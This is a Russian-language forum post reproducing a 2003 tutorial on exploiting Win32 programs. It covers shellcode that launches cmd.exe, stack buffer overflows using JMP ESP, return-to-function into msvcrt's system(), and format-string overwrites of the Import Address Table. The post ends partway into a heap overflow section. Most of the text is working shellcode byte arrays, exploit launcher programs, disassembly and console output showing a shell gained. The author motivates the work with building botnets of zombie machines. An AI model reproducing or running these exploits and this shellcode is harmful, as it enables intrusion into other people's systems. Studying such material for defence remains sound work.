Статьи Win32 exploiting. Buffer Overflow Attacks (часть 1)

Discussion in 'Статьи' started by Flame of Soul, 29 Apr 2008.

  1. Flame of Soul

    Flame of Soul Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    185
    Likes Received:
    146
    Reputations:
    45
    ___________[ Win32 exploiting. Buffer Overflow Attacks ]__________
    [Copyrights (C) 2003 Crazy Einstein (aka xCrZx) [email protected] /02.11.03/]

    The Contents:
    HTML:
    0x01 Intro
    0x02 Основы ShellCodingа (Сoding and Disassembling)
    0x03 Buffer Overflow (bases of the overflow)
    0x04 Return-To-Function (continuation of the programming)
    0x05 Format String (not format C)
    0x06 Heap Overflow (way the most strong)
    0x0b
    ---| 0x01 Intro |-----------------------------------------------------------
    HTML:
     Всем доброго времени суток. Win32 системы для данного исследования были
     выбранны не случайно. Во первых я есче не достаточно хорошо знакома с Unix
     подобными системами, а во вторых тем, что последнее время стало популярным
     создание бот систем, состоящих из так называемых zombies, а учитывая тенд-
     енцию того что 80% пользователей WWW являются users windows, то нахождение
     уязвимых мест в данной os является восстребованным.
    
     На написание этой статьи меня толкнуло несколько Papers-ов некоторых лю-
     дей, которым за их труды выражаю благодарности от себя лично. В оссобенно-
     сти "WMF-Virus by Cr4sh" от Команды рыцарей ада (на мое мнение одна из лу-
     чших комманд андеграунда на постсоветском пространстве). Также пара глав в
     "Buffer Overflow Attacks Detect, Exploit, Prevent" автор James C. Foster c
     соавторами. "Another way to subvert the Windows kernel" из Phrack (Current
     issue : #65). и "fini infect" из Defaced (Current issue : #11). В бой...
    
     Из инструментов нам понадобится Dev C++ или MSVC++ 6.0(советую) для рабо
     ты с С++, также OllyDbg, или можно воспользоваться стандартным отладчиком
     MSVC++ 6.0, также WinHex(хотя можно обойтись и без него).
    
     Прошу прощение за оформление в тегах [*php], просто asm код читабельней.
    ---| 0x02 Основы ShellCodingа (Сoding and Disassembling) |-----------------
    HTML:
     В отличии от libc в *nix e, в среде Win32 используются адреса функций,
     содержащихся в модулях (библиотеках *.dll), которые и используются при со-
     здании шеллкода. Для основы напишем простенькую программку на C++ 6.0, ко-
     торая будет запускать cmd.exe.
    PHP:
     .....:-[source code с or с++]-:........
      
    #include <windows.h>
      #include <stdio.h>
      
    int main() {
       
    system("cmd");
       exit(
    0);
      }
     .....:-[
    end of source code]-:..........

     
    Компилируем и видим шелл.Теперь выяснимкак выглядят байткод на этапе 
     выполнения программы
    Воспользуемся стандартным отладчиком MSVC++ 6.0.

     .....:-[
    disassembled]-:................
      
    '
      4: int main() {
        00401010 55     push  ebp
        00401011 8B EC    mov  ebp,esp
        00401013 83 EC 40   sub  esp,40h
        00401016 53     push  ebx
        00401017 56     push  esi
        00401018 57     push  edi
        00401019 8D 7D C0   lea  edi,[ebp-40h]
        0040101C B9 10 00 00 00  mov  ecx,10h
        00401021 B8 CC CC CC CC  mov  eax,0CCCCCCCCh
        00401026 F3 AB    rep stos dword ptr [edi]
        5:
        6:  system("cmd");
        00401028 68 1C 20 42 00  push  offset string "cmd"(0042201c)
        0040102D E8 FE 01 00 00  call  system (00401230)
        00401032 83 C4 04   add  esp,4
        7:  exit(0);
        00401035 6A 00    push  0
        00401037 E8 64 00 00 00  call  exit (004010a0)
        8: }
      '
     
    .....:-[end of disassembled]-:.........
    HTML:
     Нам важны только 6 и 7 строки. Это и есть готовый шелл код, который мож-
     но использовать. Но в нём присутствуют 0х00 байты, которые будут мешаться 
     при использовании функций strcpy(),sprintf()и т.д Эти функции определяют
     конец строки по 0х00 байту. Также перед вызовом system() в стек заносится
     адрес аргумента функции (*)Вывод мы должны зарание знать адрес аргумента.
     Для этого помещаем аргумент в стек и записать его адрес. Необходимо напи-
     сать данный код на ассемблере, используя всё тот же MSVC++ (узнать адреса
     функций можно добавив строчку printf("system=%p, exit=%p\n",system,exit);
     и посмотреть результат):
    PHP:
     .....:-[source code с or с++]-:........
      
    #include <windows.h>
      #include <stdio.h>
      
    void main() {
       
    printf("system=%p, exit=%p\n",system,exit);
       
    __asm 
        xor 
    ebx,ebx
        push ebx
        push 0x646d6320
        push esp
        
    or ebx,0x401110aa
        shr ebx
    ,8
        call ebx
        
    xor ecx,ecx
        push ecx
        
    or ecx,0x401260aa
        shr ecx
    ,8
        call ecx
         
    }
      }
     .....:-[
    end of source code]-:..........

      
    В дизассемблированном варианте это будет смотреться таким образом:

     .....:-[
    disassembled]-:................
      
    '
    10: xor ebx,ebx  0040103F 33 DB    xor ebx,ebx
    11: push ebx   00401041 53    push ebx
    12: push 0x646d6320 00401042 68 20 63 6D 64 push 646D6320h
    13: push esp   00401047 54    push esp
    // 0x401110 - address of system
    15: or ebx,0x401110aa 00401048 81 CB AA 10 11 40 or  ebx,401110AAh
    16: shr ebx,8   0040104E C1 EB 08   shr ebx,8
    17: call ebx   00401051 FF D3    call ebx
    19: xor ecx,ecx  00401053 33 C9    xor ecx,ecx
    20: push ecx   00401055 51    push ecx
    // 0x401260 - address of exit
    22: or ecx,0x401260aa 00401056 81 C9 AA 60 12 40 or  ecx,401260AAh
    23: shr ecx,8   0040105C C1 E9 08   shr ecx,8
    24: call ecx   0040105F FF D1    call ecx
      '
     
    .....:-[end of disassembled]-:.........
    HTML:
     Мы избавились от 0х00 и сделали так, что аргумент записывается в стек и
     после этого адрес этого аргумента помещается в стеке. Если запустить эту
     программку, то запустится cmd.exe , после выхода из которого выполнится
     exit(0); Единственный недостаток данного шеллкода состоит в том, что его
     нельзя использовать, не зная адресов system и exit. То есть если добавить
     в эту программу функцию, к примеру Sleep(1);, откомпилировать и запустить,
     то адреса system() & exit() будут уже другие и шеллкод не исполнится.
    
     Что же делать в этом случае? Нам необходимо непосредственно найти модуль
     в котором содержатся нужные нам функции. Таким модулем является msvcrt.dll
     (чтоб в этом убедиться достаточно взглянуть на msvcrt.dll в том же FAR'e и
     найти там строки system и exit)! Каждому модулю присваивается своё адрес-
     ное пространство (в разных версиях модулей и Windows).
    
     Программа, которая находится выше... не зависит от версии модуля, и от
     самой ОС Windows, т.к. не использует адреса функций из модулей. Если зап-
     устить её на XP & Win2k, то шеллкод всегда исполнится нормально. В отличии
     от случая, когда берутся адреса непосредственно из модулей.
    
     Следовательно необходимо загрузить модуль и достать из него адреса.
    Что хорошо демонстрирует данная программа:
    PHP:
     .....:-[source code с or с++]-:........
      
    #include <windows.h>
      #include <stdio.h>
      
    typedef void (*MYPROC)(LPTSTR);
      
    int main(){
       
    HINSTANCE LibHandle;
       
    MYPROC ProcAdd;
       
    LibHandle LoadLibrary("msvcrt.dll");
       
    ProcAdd = (MYPROCGetProcAddress(LibHandle"system");
       (
    ProcAdd) ("cmd");
       return 
    0;
      }
     .....:-[
    end of source code]-:..........

      
    Данная программа загружает модуль msvcrt.dllполучает адрес функции sy
     stem и запускает эту функцию с аргументом 
    "cmd"Используя отладчик можно
     определить какой адрес присваевается переменной ProcAdd


     .....:-[
    disassembled]-:................
      
    '
    12:  ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system");
    0040103F 8B F4    mov esi,esp
    00401041 68 20 F0 41 00  push offset string "system" (0041f020)
    00401046 8B 45 FC   mov eax,dword ptr [ebp-4]
    00401049 50     push eax
    0040104A FF 15 38 41 42 00 call dword ptr[_imp_GetProcAddress@8 (00424138)]
      '     
    ^
          
    _______|______________________________________________
          
    после выполнения данного вызова в регистр EAX  |
          | 
    запишется адрес функции system() => EAX 77C18044 |

     .....:-[
    end of disassembled]-:.........

      
    А можно и аналогичным способом найти этот адресзагрузив kernel32.dll
     и взять адрес LoadLibraryA
    .

     .....:-[
    source code с or с++]-:........
      
    #include <windows.h>
      #include <stdio.h>
      
    int main(){
       
    __asm {
        xor 
    edx,edx
        push edx
        push 0x20206c6c
        push 0x642e7472
        push 0x6376736d
        push esp
        mov ecx
    ,0x77e805d8
        call ecx
        push edx
        push 0x646d6320
        push esp
        mov ecx
    ,0x77C18044
        call ecx
        push edx
        mov ecx
    ,0x77C27ADC
        call ecx
         
    }
      }
     .....:-[
    end of source code]-:....................

    HTML:
      Адреса этих функций зависят от версий модулей kernel32.dll & msvcrt.dll
     Нам надо чтобы программа сама находила адреса exit & system, но при этом
     нам всё ещё необходимо знать адреса LoadLibraryA и GetProcAddress. Эту ру-
     тинную работу сделали Chinese Translators Team (неточно)
    
      Рассмотрим программу, которая загружает модуль, находит адрес и вызыва-
     ет функцию с параметром. И переписываем её на ассемблере!
    
      Конечный результат:
    /*
    \ Half Automated shellcode for Win32 with using msvcrt.dll [79bytes]
    / tested on WinXP ver. 5.1.2600
    \ by optimizate code: xCrZx /Black Sand Project/
    / msvcrt.dll information:
    \ FileVersion: 7.0:2600.0
    / ProdVersion: 6.1:8638.0
    \ shellcode does:
    / GetProcAddress(LoadLibrary("msvcrt.dll"),"system");system("cmd");
    \ GetProcAddress(LoadLibrary("msvcrt.dll"),"exit");exit(0);
    / Note:
    \ you should know address of LoadLibraryA & GetProcAddress of kernel32.dll
    */
    PHP:
     .....:-[source code с or с++]-:..................
      
    #include <windows.h>
      #include <winbase.h>
      #include <stdio.h>
      
    char shellcode[] =
     
    "\x33\xf6" "\x56" "\x68\x6c\x6c\x20\x20" "\x68\x72\x74\x2E\x64"
     "\x68\x6D\x73\x76\x63" "\x54" "\xB9\xD8\x05\xE8\x77" "\xff\xd1"
     "\x56" "\xb9\xaa\xaa\x65\x6d" "\xc1\xe9\x10" "\x51" "\x68\x73\x79\x73\x74"
     "\x54""\x50""\x8B\xF8" "\xB9\xFD\xA5\xE7\x77" "\xff\xd1" "\x56"
     "\x68\x20\x63\x6d\x64" "\x54""\xff\xd0""\x56" "\x68\x65\x78\x69\x74"
     "\x54" "\x57" "\xb9\xfd\xa5\xe7\x77" "\xff\xd1" "\x56" "\xff\xd0"
    ;
      
    int main(){
       
    int (*p)();
       
    p=(int (*)())&shellcode;
       (*
    p)();
    /*  __asm {
        xor esi,esi
        push esi
        push 0x20206c6c
        push 0x642e7472
        push 0x6376736d
        push esp
        mov ecx,0x77e805d8
        call ecx
        push esi
        mov ecx,0x6d65aaaa
        shr ecx,16
        push ecx
        push 0x74737973
        push esp
        push eax
        mov edi,eax
        mov ecx,0x77e7a5fd
        call ecx
        push esi
        push 0x646d6320
        push esp
        call eax
        push esi
        push 0x74697865
        push esp
        push edi
        mov ecx,0x77e7a5fd
        call ecx
        push esi
        call eax
        } */
      
    return 0;
      }
     .....:-[
    end of source code]-:..........
    Таким же образом можно создать любой другой шеллкод!

    ---| 0x03 BBuffer Overflow (bases of the overflow) |------------------------
    HTML:
     Переполнение буфера в Win32 схоже с переполнением буфера в *nix. Происходит
     затерание EIP (адреса возврата функции). Предлагаю сразу рассмотреть просте-
     нький пример:
    PHP:
     .....:-[source code с or с++]-:........
    #include <stdio.h>
    #include <stdlib.h>
    #include <windows.h>
    #include <winbase.h>
    int fuck(char *str) {
        
    char yo[100];
        
    strcpy(yo,str);
        return 
    0;
    }
    int main(int argcchar **argv) {
        
    char promo[500];
        if(
    strlen(argv[1])>500) exit(0);
        
    sprintf(promo,"%s",argv[1]);
        
    fuck(promo);
        return 
    0;
    }
     .....:-[
    end of source code]-:...........
    HTML:
     Подав программе строку, длина которой находится в промежутке >100 и <500
     символов, произойдет перезапись EIP и прыжок при выходе из функции на этот
     адрес, что приведёт к критический ошибке и появится окошко об уведомлении (в
     моём XP появляется окошко с кнопками "Отладка","Отправить отсчет","Не отправ-
     лять" :). Щёлкнув на "Отладку" можно лицезреть, что собственно произошло!
    PHP:
        ...
        
    41414141 ???
        ...
        
    EIP 41414141 ESP 0012FF30
        EBP 
    41414141 EFL 00000246 CS 001B
    HTML:
     программа попыталась прочесть следующую инструкцию по адресу 0x41414141.
     Теперь стоит упомянуть, что запускаемые программы в Windows основываются на
     адресных пространствах, имеющих вид 0x00XXXXXX. Т.е. в адресе присутствует
     0х00 и это может затруднить положение, если, к примеру мы хотим поместить наш
     шеллкод после EIP (например , из-за того, что после выхода из функции fuck()
     данные char yo[100] уничтожатся, но к счастью наши данные будут лежать и в
     char promo[500] тоже ).
      Так же трудности могут возникнуть, если функция в уязвимой программе, че-
     рез которую осуществляется переполнение есть (либо подобна) memcpy(), которая
     после копирования данных не завершает этот процесс записью в конец 0х00 бай-
     та. В этом случае EIP будет выглядеть так - 0xXXZZZZZZ, где ZZ - байты, на
     которые мы перезаписали EIP, а XX - байт , который был на этом месте от ста-
     рого значения EIP. В случае, когда в уязвимой программе переполнение осуще-
     ствляется с помощью функций strcpy(),strcat(),sprintf(),etc. Тогда этот байт
     (ХХ) затирается на 0х00, чтобы обозначить конец строки.
      Давайте попробуем перезаписать EIP на нужный нам адрес, который будет ука-
     зывать на promo, т.к. в нём будет храниться шеллкод. Для этого необходимо
     знать как будет выглядеть стек после вызова fuck():
    PHP:
            char yo[100] ][EBP][EIP]
    HTML:
     Пришлось модифицировать шеллкод, чтоб избавиться от 0х20, т.к. при
     передачи аргумента через system() уязвимая программа vuln1.exe будет воспри-
     нимать всё, что дальше 0х20 как argv[2] и т.д.):
    PHP:
     .....:-[source code с or с++]-:........
    #include <stdio.h>
    #include <stdlib.h>
    #include <windows.h>
    #include <winbase.h>
    char shellcode[] =
    "\x33\xf6" "\xB9\xAA\xAA\x6C\x6C" "\xC1\xE9\x10" "\x51" "\x68\x72\x74\x2E\x64"
    "\x68\x6D\x73\x76\x63" "\x54" "\xB9\xD8\x05\xE8\x77" "\xff\xd1"
    "\xb9\xaa\xaa\x65\x6d" "\xc1\xe9\x10" "\x51" "\x68\x73\x79\x73\x74" "\x54"
    "\x50" "\x8B\xF8" "\xB9\xFD\xA5\xE7\x77" "\xff\xd1" "\xb9\xaa\x63\x6d\x64"
    "\xC1\xE9\x08" "\x51" "\x54" "\xff\xd0" "\x56" "\x68\x65\x78\x69\x74" "\x54"
    "\x57" "\xb9\xfd\xa5\xe7\x77" "\xff\xd1" "\x56" "\xff\xd0"
    ;
    int main(int argcchar **argv) {
        
    char buf[100+4*2+1];
        
    char cmd[600];
        
    memset(buf,0x00,sizeof(buf));
        
    memset(buf,0x90,104-strlen(shellcode));
        
    memcpy(buf+strlen(buf),&shellcode,strlen(shellcode));
        *(
    long *)&buf[strlen(buf)]=0x0012fd90;
        
    sprintf(cmd,"C:\\MSVCSTAFF\\Debug\\vuln1.exe %s",buf);
        
    system(cmd);
        return 
    0;
    }
     .....:-[
    end of source code]-:...........
    HTML:
    Теперь возьмём тот же самый пример, и допустим, что у нас нет char promo[500];
    В этом случае шеллкод придётся сохранять за [EIP]:
    PHP:
     .....:-[source code с or с++]-:........
    #include <stdio.h>
    #include <stdlib.h>
    #include <windows.h>
    #include <winbase.h>
    int fuck(char *str) {
        
    char yo[100];
        
    strcpy(yo,str);
        return 
    0;
    }
    int main(int argcchar **argv) {
        
    fuck(argv[1]);
        return 
    0;
    }
     .....:-[
    end of source code]-:...........
    HTML:
     для этого нам уже нельзя использовать в качестве адреса возврата адрес, со-
     держащий 0х00 байт. Что делать в этом случае? Если быть внимательным, то мо-
     жно уловить нужную информацию из регистров:
    PHP:
    (при переполнении)
    [
    HTMLEAX 00000000 EBX 7FFDF000
     ECX 
    00430EBC EDX FDFD0044
     ESI 
    00000000 EDI 0012FF80
     EIP 
    41414141 ESP 0012FF30
     EBP 
    41414141 EFL 00000246 CS 001B
    Регистры EDI & ESP - содержат адреса, которые потенциально могут указывать на наш
    шеллкод (в частности, ESP - указатель на вершину стека и это то, что нам нужно):
    PHP:
    0012FF30 41 41 ... 54 B9 AAAAAAAAAAAA3ц.ЄЄllБй.Qhrt.dhmsvcT.
    0012FF53 D8 05 ... 63 6D Ш.иwяС.ЄЄemБй.QhsystTP<ш.э_зwяС.Єcm
    0012FF76 64 C1 
    ... 00 00 dБй.QTяРVhexitTW.э_зwяСVяР_э.D.0...
    А вот и наш буферсодержащий 0x41(вместо 0х90)+шеллкод :)
    HTML:
     Теперь нужно найти инструкцию JMP ESP, которая осуществляет переход по адре-
     су, заданному в ESP! Такие инструкции содержатся в разных модулях. Модуль,
     который всегда мелькает перед глазами - kernel32.dll (в нём и следует начать
     искать данную инструкцию).
    57:   jmp esp
    0040102E FF E4 jmp esp
     вот эти байты нам нужно отыскать по адресу: 0x77F5800D+15.
    PHP:
     .....:-[exploit code с or с++]-:........

    #include <stdio.h>
    #include <stdlib.h>
    #include <windows.h>
    #include <winbase.h>
    char shellcode[] =
    "\x33\xf6" "\xB9\xAA\xAA\x6C\x6C" "\xC1\xE9\x10" "\x51" "\x68\x72\x74\x2E\x64"
    "\x68\x6D\x73\x76\x63" "\x54" "\xB9\xD8\x05\xE8\x77" "\xff\xd1"
    "\xb9\xaa\xaa\x65\x6d" "\xc1\xe9\x10" "\x51" "\x68\x73\x79\x73\x74"
    "\x54" "\x50" "\x8B\xF8" "\xB9\xFD\xA5\xE7\x77" "\xff\xd1"
    "\xb9\xaa\x63\x6d\x64" "\xC1\xE9\x08" "\x51" "\x54" "\xff\xd0"
    "\x56" "\x68\x65\x78\x69\x74" "\x54" "\x57" "\xb9\xfd\xa5\xe7\x77"
    "\xff\xd1" "\x56" "\xff\xd0"
    ;
    int main(int argcchar **argv) {
        
    char buf[200+4*2+1];
        
    char cmd[600];
        
    memset(buf,0x00,sizeof(buf));
        
    memset(buf,0x90,204-strlen(shellcode));
        
    memcpy(buf+strlen(buf),&shellcode,strlen(shellcode));
        *(
    long *)&buf[104]=(0x77F5800D+15);
        
    sprintf(cmd,"C:\\MSVCSTAFF\\Debug\\vuln1.exe %s",buf);
        
    system(cmd);
        return 
    0;
    }
     .....:-[
    end of source code]-:.............
    Это, на мой взгляд, исчерпывающая информация о переполнении буфера!

    ---| 0x04 Return-To-Function() (continuation of the programming) |----------
    HTML:
     Эта технология эксплоитинга широко распространена в операционных системах,
     где существует так называемая защита от всякого рода buffer overflow, etc ,
     т.е. от выполнения шеллкода в стеке (non-exec stack). Мы не можем использо-
     вать шеллкод на этот раз, но мы можем переписать EIP на адрес какой-либо фу-
     нкции (обычно это system(), по понятным причинам :). Как же это работает?
     При вызове функции берётся адрес аргумента(ов) из стека (как это было видно
     ранее при дизассемблировании. Т.е. нам достаточно добавить адреса, указываю-
     щие на наши аргументы и дело в шляпе. Для system() - это адрес, где располо-
     жена строка "cmd". Ед. проблема состоит в том, что опять же используемое
     адресное пространство - 0х00XXXXXX ! для этого надо использовать адрес функ-
     ции system из модуля...
    Общий вид заполнения таков:
    [OVERWRITED EIP (SYSTEM())][ADDR OF NEXT FUNC][ADDR OF ARG FOR SYSTEM()][ARG FOR NEXT FUNC]
    HTML:
     При этом адрес аргумента может содержаться в области 0х00XXXXXX (в нашем
     случае, адрес "cmd"). Если мы хотим после system() вызвать exit(), то
     заполнение будет следующее:
    [OVERWRITED EIP (SYSTEM())][ADDR OF EXIT()][ADDR OF ARG FOR SYSTEM()][ARG OF EXIT()]

    Сначала вызывается System(), после Exit().
    PHP:
     .....:-[exploit code с or с++]-:.........
    #include <stdio.h>
    #include <stdlib.h>
    #include <windows.h>
    #include <winbase.h>
    int main()
    {
        
    char aaa[20]="cmd\x00\x00\x00\x00\x00\x00";
        
    long *p;
        
    p=(long *)&system;
        
    long *b;
        
    b=(long *)&exit;
        
    __asm {
        
    mov dword ptr [ebp+4],0x00401280
        mov dword ptr 
    [ebp+8],0x004010f0
        mov dword ptr 
    [ebp+12],0x0012ff6c
        mov dword ptr 
    [ebp+16],0x00000000
        
    }
         return 
    0;}

    Теперь допустим у нас есть уязвимая программа:
    (
    едньанс уязвимая программа должна использовать модуль(библиотеку))
    Адреса функций system & exit в модуле msvcrt.dll мы знаемОсталось найти "cmd"
    где-нибудь в модуле например в msvcrt.dll есть "cmd" по адресу 0x77C01335!

    #include <stdio.h>
    #include <stdlib.h>
    #include <windows.h>
    #include <winbase.h>
    int main()
    {    
    long sys_addr=0x77C18044;
        
    long exit_addr=0x77C27ADC;
        
    long cmd_addr=0x77C01335;
        
    char cmd[100]="C:\\MSVCSTAFF\\Debug\\vuln2.exe AAAAAAAAAABBBBCC";
        *(
    long *)&cmd[strlen(cmd)]=sys_addr;
        *(
    long *)&cmd[strlen(cmd)]=exit_addr;
        *(
    long *)&cmd[strlen(cmd)]=cmd_addr;
        
    system(cmd);
     return 
    0;}
    HTML:
    Для каждой версии msvcrt.dll (Windows) своё адресное пространство,
    т.ч. нужно не забывать этот факт!
     
    #1 Flame of Soul, 29 Apr 2008
    Last edited: 29 Apr 2008
    8 people like this.
  2. Flame of Soul

    Flame of Soul Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    185
    Likes Received:
    146
    Reputations:
    45
    продолжение

    ---| 0x05 Format String (not format C) |-----------------------------------

    HTML:
     Большенство из вас (и даже некоторых опытных специалистов в области компьютер-
    ной безопасности, с которыми мне пришлось общаться) не подозревали, что уязви-
    мость класса формат строки (format string) может быть использована в целях по-
    лучения шелла (это было связано с тем, что никто из них толком не изучал эту
    тему). Процесс протекает аналогично тому, который используется в *nix'e.
    В windows есть аналог GOT'y - Import Address Table (IAT)...где в виде таблицы
    хранятся адреса функций, а ниже соответствующие этим адресам наименования функ-
    ций. Многие наверное знают каким свойством обладает %n (записывает по адресу
    аргумента кол-во символов до данного оператора). Об этом очень хорошо было опи-
    сано в своё время в статьях ya_man'a. Рассмотрим уязвимую программу:
    PHP:
     .....:-[source code с or с++]-:........
    #include <windows.h>
    #include <stdio.h>
    int main(int argcchar **argv) {
        
    char abc[200];
        
    int yo;
        
    yo=atoi(argv[1]);
        
    strncpy(abc,argv[2],199);
        
    printf(abc);
        
    ExitProcess(0);
    }
     .....:-[
    end of source code]-:..........

    C:\MSVCSTAFF\Debug>vuln3.exe 666 AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
    .%x.%x.%x.%x.%x.%x AAAA143018.0.7ffdf000.cccccccc.cccccccc.cccccccc.cccccccc
    .cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.ccccc
    ccc
    .cccccccc.cccccccc.cccccccc.29a
    C
    :\MSVCSTAFF\Debug>
    HTML:
    Мы нашли начальную позицию внесения данных в char abc[100]; (0x29a - 666)
    Теперь остаётся занести на эту позицию нужный адрес, который мы хотим перезапи-
    сать и послать нужно сформированную строку! т.е. вместо 666 нужно вписать ад-
    рес в десятичном виде и последний %x, который указывает на эту позицию (точнее,
    вынимает из стека в качестве аргумента) заменить на %n (ну и сделать так, чтоб
    кол-во символов до %n было равно адресу на шеллкод в десятичном виде)! Вот по-
    жалуй и всё :)! Остаётся выяснить адрес, который нужно перезаписать, если пос-
    мотреть на память повнимательней, то можно найти адреса функций (а именно, нас
    интересует адрес функции ExitProcess()):
    
    PHP:
     .....:-[disassembled]-:................
      
    '
    00425119  00 00 ... E7 77  ...............................ч\зw
    0042513C  38 C9 ... 05 E8  8Йзw+Дзw_6лw=_зw__зwЕxзw4_йwэ_зwШ.и
    0042515F  77 EF ... 02 77  wпwзw. зw_.жw__зw"_лw+ЕйwбЙзw$.зw.w
    00425182  E6 77 ... 77 3E  жwб~зw1Йзw."зwz.жw.nзw&Ззw-.хw4_зw>
    004251A5  18 F6 ... E7 77  .цw-1зw_3зw$Йжw}.хwhiзwО|зwлAжwfИзw
    004251C8  9F 84 ... 74 E7  _"зw?Ўзw.Зжwш.хw..зw/rхwщ?зw__зw.tз
    004251EB  77 F9 ... 00 00  wщ_зw.язwcyзw......................
    0042520E  00 00 ... 00 00  ...................................
    00425231  00 00 ... 65 73  .......................}.ExitProces
    00425254  73 00 ... 00 74  s.KERNEL32.dll..К.GetCommandLineA.t
    00425277  01 47 ... 74 64  .GetVersion..Q.DebugBreak..R.GetStd
    0042529A  48 61 ... 44 65  Handle..Я.WriteFile.-.InterlockedDe
    004252BD  63 72 ... 47 65  crement..х.OutputDebugStringA..>.Ge
    004252E0  74 50 ... 6E 74  tProcAddress..В.LoadLibraryA..°.Int
    00425303  65 72 ... 65 4E  erlockedIncrement..$.GetModuleFileN
    00425326  61 6D ... 72 72  ameA.._.TerminateProcess..ч.GetCurr
    00425349  65 6E ... 6C 74  entProcess.-.UnhandledExceptionFilt
      '
     
    .....:-[end of disassembled]-:.........
    HTML:
    начальный(верхний) кусок отвечает адресам соответствующих функций, которые пре-
    дставлены в нижней части блока. Т.е. по адресу 0x00425138 и находится наш Exit
    Process(). Всё что нужно теперь уже известно!
    PHP:
     .....:-[source code с or с++]-:........
    #include <stdio.h>
    #include <stdlib.h>
    #include <windows.h>
    #include <winbase.h>
    char shellcode[] =
        
    "\x33\xf6" "\xB9\xAA\xAA\x6C\x6C" "\xC1\xE9\x10" "\x51"
        "\x68\x72\x74\x2E\x64" "\x68\x6D\x73\x76\x63" "\x54"
        "\xB9\xD8\x05\xE8\x77" "\xff\xd1" "\xb9\xaa\xaa\x65\x6d"
        "\xc1\xe9\x10" "\x51" "\x68\x73\x79\x73\x74" "\x54"
        "\x50" "\x8B\xF8" "\xB9\xFD\xA5\xE7\x77" "\xff\xd1"
        "\xb9\xaa\x63\x6d\x64" "\xC1\xE9\x08" "\x51" "\x54"
        "\xff\xd0" "\x56" "\x68\x65\x78\x69\x74" "\x54" "\x57"
        "\xb9\xfd\xa5\xe7\x77" "\xff\xd1" "\x56" "\xff\xd0"
    ;
    int main()
    {
        
    long ret=0x425138;//addr of ExitProcess()
        
    char cmd[200];
        
    long xret=0x0012feb8 0xee;//addr of shellcode
        
    memset(cmd,0x00,sizeof(cmd));
        
    strcpy(cmd,"C:\\MSVCSTAFF\\Debug\\vuln3.exe ");
        
    sprintf(cmd+strlen(cmd),"%d %s%%x.((%%x.)*17).%%%dx.%%n",ret,shellcode,xret);
        
    system(cmd);
        return 
    0;
    }
     .....:-[
    end of source code]-:..........

    Работоспособность:
    C:\MSVCSTAFF\Debug>fmt-str-exp.exe
    .....
                              
    cccccccc.Microsoft Windows XP [Верс
    ия 5.1.2600
    ]
    (
    СКорпорация Майкрософт1985-2001.
    C
    :\MSVCSTAFF\Debug>exit
    C:\MSVCSTAFF\Debug>
    HTML:
    Как видно, всё работает! Но одно но, перезаписываемый адрес содержит 0х00 байт!
    т.е. если бы не было int yo; то перезаписать этот адрес нам бы не удалось, т.к.
    мы не можем использовать %<NUMBER>$n технологию:
    
    		C:\MSVCSTAFF\Debug>vuln3 11 %1$x
    		$x
    		C:\MSVCSTAFF\Debug>vuln3 11 %1\$x
    		\$x
    		C:\MSVCSTAFF\Debug>vuln3 11 %%1$x
    		%1$x
    		C:\MSVCSTAFF\Debug>vuln3 11 %%1\$x
    		%1\$x
    
    А если записать адрес ExitProcess() в конце нашего запроса и последовательно 
    извлекать из стека данные, то мы не сможем добраться до нашего адреса, т.к.
    мы будем добавлять всё новые и новые символы в буфер (дистанция до адреса 
    будет сохраняться), а перезаписать адреса тех или иных функций каких-либо мод-
    улей не удастся. Поэтому необходимо думать куда бы записать адрес, который надо
    перезаписать.
    ---| 0x06 Heap Overflow (way the most strong) |----------------------------
    HTML:
    И вот, пожалуй, самая интересная часть :), которая заставляет созидать. Думаю,
    следует начать изучать данный тип уязвимости сразу с примера.
    PHP:
     .....:-[source code с or с++]-:........
    #include <windows.h>
    #include <stdio.h>
    int main() {
        
    char *a;
        
    char *b;
        
    a=(char *)malloc(100);
        
    b=(char *)malloc(30);
        
    char arg[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
        
    memcpy(b,&arg,sizeof(arg));
        
    free(a);
        
    ExitProcess(0);
    }
     .....:-[
    end of source code]-:..........
    HTML:
    Следим за ходом выполнения программы в отладчике! Как видно из примера, сперва
    выделяется 100 байт в heap'e и указателю а присваевается адрес этого места (с
    которого можно заносить данные), после чего выделяется 30 байт для b.в этом
    случае а указывает на 0х00430150, а b - на 0х00430100 если глянуть на эти адре-
    са, то можно увидеть следующую картину:
    PHP:
     .....:-[disassembled]-:................
      
    '
    00430100  CD CD ... FD 00  ННННННННННННННННННННННННННННННээээ.
    ....
    00430150  CD CD ... CD CD  ННННННННННННННННННННННННННННННННННН
    00430173  CD CD ... CD CD  ННННННННННННННННННННННННННННННННННН
    00430196  CD CD ... FD 91  ННННННННННННННННННННННННННННННээээ'

    причёмесли рассматривать после выделения всю структуру целикомто для bк
    примеру
    она принимает вид такой:

    004300BA  00 00 ... 00 51  ..............................Р...Q
    004300DD  00 00 
    ... FD FD  ...0.C.....................(...ээээ
    00430100  CD CD 
    ... FD 00  ННННННННННННННННННННННННННННННээээ.
    00430123  00 00 ... 01 00  .....Q...'....I2.а.C.........d.....
      '
     
    .....:-[end of disassembled]-:.........
    HTML:
    при этом используемая юзером часть - с 0х00430100 по 0х0043011e (30 байт т.е.).
    далее по программе идёт запись в b, если запустить программу, то можно увидеть
    окошко об ошибке, которое сообщает, что освобождаемый блок (а) испорчен (т.е.
    испорчен нами, т.к. мы перезаписали его часть).
    Предлагаю заглянуть внутрь функции free() и всё выяснить:
    PHP:
    _CRTIMP void __cdecl free(void pUserData)
    {    
    _free_dbg(pUserData_NORMAL_BLOCK); }

    идёт вызов free в отладочном режиме

    _CRTIMP void __cdecl _free_dbg
    (
    #endif  /* _MT */
        
    void pUserData,
        
    int nBlockUse)
    {
    _CrtMemBlockHeader pHead;
    ...

    pUserData это и есть тот блок который мы пытаемся освободить (т.еa)
    pHead структура заголовка блокакоторая выглядит следующим образом:

    typedef struct _CrtMemBlockHeader
    {
        
    struct _CrtMemBlockHeader    pBlockHeaderNext;
        
    struct _CrtMemBlockHeader    pBlockHeaderPrev;
        
    char                    *szFileName;
        
    int                    nLine;
        
    size_t                nDataSize;
        
    int                    nBlockUse;
        
    long                    lRequest;
        
    unsigned char            gap[nNoMansLandSize];
        
    /* followed by:
        *  unsigned char        data[nDataSize];
